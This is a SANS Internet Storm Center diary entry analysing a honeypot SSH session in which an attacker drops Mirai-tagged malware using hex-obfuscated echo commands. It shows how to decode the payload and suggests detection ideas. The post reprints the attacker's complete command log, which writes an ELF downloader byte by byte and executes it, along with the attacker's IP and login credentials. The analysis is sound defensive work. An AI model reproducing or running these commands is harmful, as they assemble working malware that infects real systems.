There are a variety of attacks seen from DShield honeypots [1]. Most of the time these commands are human readable. but every now and again they are obfuscated using base64 or hex encoding. A quick look for commands containing the “/x” delimiter give a lot of results encoded in hexadecimal.
Figure 1: Example of hex obfuscated data from cowrieprocessor [2] SQLite file.
The session highlighted in the example above shows a command that looks like hex characters. Looking at a similar session, the hex encoding was used multiple times to iteratively write a malware file.
Session e7333c3c2f12
Protocol ssh
Username Mroot
Password cat1029
Timestamp 2022-07-16T07:59:34.450260Z
Source IP Address 194.31.98.244
URLhaus IP Tags intel, elf, mirai, 32
ASNAME AS-SERVERION Serverion B.V.
ASCOUNTRY NL
Total Commands Run 30
////////////////// COMMANDS ATTEMPTED //////////////////
# >/tmp/.l && cd /tmp/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/var/.l && cd /var/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/dev/.l && cd /dev/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/mnt/.l && cd /mnt/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/var/run/.l && cd /var/run/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/var/tmp/.l && cd /var/tmp/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/.l && cd /; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/dev/netslink/.l && cd /dev/netslink/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/dev/shm/.l && cd /dev/shm/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/bin/.l && cd /bin/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/etc/.l && cd /etc/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/boot/.l && cd /boot/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/usr/.l && cd /usr/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# >/sys/.l && cd /sys/; echo -en ‘x50x41x54x48x5fx44x4fx4ex45’
# rm -rf ddnsclient;rm -rf ntpclient; cp /bin/echo ddnsclient; >ddnsclient; cp ddnsclient ntpclient; chmod 777 ddnsclient; chmod 777 ntpclient
# echo -ne ‘x7fx45x4cx46x01x01x01x00x00x00x00x00x00x00x00x00x02x00x03x00x01x00x00x00xd7x82x04x08x34x00x00x00x1cx04x00x00x00x00x00x00x34x00x20x00x03x00x28x00x05x00x04x00x01x00x00x00x00x00x00x00x00x80x04x08x00x80x04x08xfex03x00x00xfex03x00x00x05x00x00x00x00x10x00x00x01x00x00x00x00x04x00x00x00x94x04x08x00x94x04x08x00x00x00x00x58x00x00x00x06x00x00x00x00x10x00x00x51xe5x74x64x00x00x00x00x00x00x00x00’ > ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x00x00x00x00x00x00x00x00x00x00x00x00x06x00x00x00x04x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x55x89xe5x0fxb6x4dx0cx0fxb6x45x14xc1xe1x10x09xc1x0fxb6x45x08xc1xe0x18x09xc1x0fxb6x45x10x5dxc1xe0x08x09xc1x89xcaxc1xe2x18xc1xe0x08x09xd0x89xcax81xe2x00x00xffx00xc1xeax08x09xd0xc1xe9x18x09xc8xc3x55x89xe5x83xecx10xffx75x08x6ax01xe8xf0x01x00x00x83xc4x10xc9xc3x55x89xe5x83xecx10xffx75x08x6ax06’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘xe8xdbx01x00x00xc9xc3x55x89xe5x83xecx08xffx75x10xffx75x0cxffx75x08x6ax05xe8xc3x01x00x00xc9xc3x55x89xe5x83xecx1cx8bx45x08x89x45xf4x8bx45x0cx89x45xf8x8bx45x10x89x45xfcx8dx45xf4x50x6ax03x6ax66xe8x9cx01x00x00xc9xc3x55x89xe5x83xecx08xffx75x10xffx75x0cxffx75x08x6ax04xe8x84x01x00x00xc9xc3x55x89xe5x83xecx08xffx75x10xffx75x0cxffx75x08x6ax03xe8x6cx01x00x00xc9xc3x55x89xe5x83xecx1cx8bx45x08x89’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x45xf4x8bx45x0cx89x45xf8x8bx45x10x89x45xfcx8dx45xf4x50x6ax01x6ax66xe8x45x01x00x00xc9xc3x55xbaxd2x83x04x08x89xe5x57x56x53x31xdbx81xecxacx00x00x00xebx01x43x8ax02x42x84xc0x75xf8x68xf4x00x00x00x6ax62x6ax1fx68xc2x00x00x00x66xc7x45xe0x02x00x66xc7x45xe2x00x50xe8xc7xfexffxffx83xc4x0cx68xffx01x00x00x68x41x02x00x00x68xd6x83x04x08x89x45xe4xe8x14xffxffxffx83xc4x0cx6ax00x6ax01x6ax02x89xc7xe8x73’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘xffxffxffx83xc4x10x83xf8xffx89xc6x74x05x83xffxffx75x0dx83xecx0cx6ax01xe8xc4xfexffxffx83xc4x10x50x6ax10x8dx45xe0x50x56xe8xf3xfexffxffx83xc4x10x85xc0x79x0ex83xecx0cxf7xd8x50xe8xa2xfexffxffx83xc4x10x50x8dx43x1ax31xdbx50x68xe0x83x04x08x56xe8xf3xfexffxffx83xc4x10x50x6ax01x8dx45xf3x50x56xe8xfbxfexffxffx83xc4x10x48x74x0dx83xecx0cx6ax04xe8x6dxfexffxffx83xc4x10x0fxbex45xf3xc1xe3x08x09xc3x81’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘xfbx0ax0dx0ax0dx75xcfx8dx9dx60xffxffxffx51x68x80x00x00x00x53x56xe8xc4xfexffxffx83xc4x10x85xc0x7ex0ex52x50x53x57xe8x9cxfexffxffx83xc4x10xebxdex83xecx0cx56xe8x3dxfexffxffx89x3cx24xe8x35xfexffxffxc7x04x24x05x00x00x00xe8x14xfexffxffx83xc4x10x8dx65xf4x5bx5ex5fx5dxc3x55x89xe5x5dxe9xbdxfexffxffx57x56x53x83xecx10x8dx44x24x3cx8bx54x24x24x89x44x24x0cx8bx44x24x34x8dx5cx24x04x8bx4cx24x28x8bx7c’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x24x2cx8bx74x24x30x89x44x24x04x8bx44x24x38x89x44x24x08x8bx44x24x20x53xe8x45x00x00x00x83xc4x04x83xecx0cx50xe8x78x00x00x00x83xc4x20x5bx5ex5fxc3x90x57x53x89xd3x89xfax8bx7cx24x0cx50xe8x06x00x00x00x89xdax5bx5bx5fxc3x8bx04x24x05x14x11x00x00x8bx00x85xc0x74x06x50x8bx44x24x08xc3x8bx44x24x04xcdx80xc3x55x50x8bx6cx24x0cx8bx45x00x8bx6dx04x50x8bx44x24x04xe8xb9xffxffxffx5dx5dx5dxc3x8dx44x24x18x56’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x57x50x8bx44x24x10x8bx54x24x14x8bx4cx24x18x8bx7cx24x1cx8bx74x24x20xe8xc6xffxffxffx5fx5fx5exc3x90x53x83xecx08x8bx5cx24x10x81xfbx00xf0xffxffx89xd8x77x05x83xc4x08x5bxc3xe8x0cx00x00x00xf7xdbx89x18xb8xffxffxffxffxebxebx90x65xa1x00x00x00x00x83xc0x28xc3x78x38x36x00x6ex74x70x63x6cx69x65x6ex74x00x47x45x54x20x2fx73x73x68x2fx6ex65x77x2fx78x38x36x20x48x54x54x50x2fx31x2ex30x0dx0ax0dx0ax00x00x2e’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x73x68x73x74x72x74x61x62x00x2ex74x65x78x74x00x2ex72x6fx64x61x74x61x00x2ex62x73x73x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0bx00x00x00x01x00x00x00x06x00x00x00xa0x80x04x08xa0x00x00x00x32x03x00x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00x00x11x00x00x00x01x00x00x00x32x00x00x00xd2x83x04x08xd2x03x00x00’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# echo -ne ‘x2cx00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01x00x00x00x19x00x00x00x08x00x00x00x03x00x00x00x00x94x04x08x00x04x00x00x58x00x00x00x00x00x00x00x00x00x00x00x20x00x00x00x00x00x00x00x01x00x00x00x03x00x00x00x00x00x00x00x00x00x00x00xfex03x00x00x1ex00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00’ >> ddnsclient; echo -e ‘x45x43x48x4fx44x4fx4ex45’
# ./ddnsclient; chmod 777 ntpclient; ./ntpclient scan.x86
# kill %%1
# echo A
These are a variety of ways to decode this information and I decided to use Cyberchef [3] to recreate it.
Figure 2: Cyberchef decoding of malware file
The recipe can also be added to so that the SHA-256 hash can be looked up using other tools such as VirusTotal [4].
Figure 3: Getting SHA-256 hash of decoded file in Cyberchef
Another way to decode this can be done from the command line.
echo x50x41x54x48x5fx44x4fx4ex45 | xxd -r -p
PATH_DONE
In this example, no file creation was logged in cowrie. This means the SHA-256 hash of the file wasn’t available and there was no other obvious information that malware was included in this attack. Consider this kind of obfuscation and how it can be detected using monitoring tools. The file creation itself may have been detected and flagged by antivirus software, but this kind of obfuscation could have been captured and analyzed before the file was created.
[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/jslagrew/cowrieprocessor
[3] https://gchq.github.io/CyberChef
[4] https://www.virustotal.com/gui/file/7bcea3cb620f907cd44d0995c2c4400f396369636c1c3a5c60c7f80a1dfd05f9/detection
—
Jesse La Grew
Handler
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.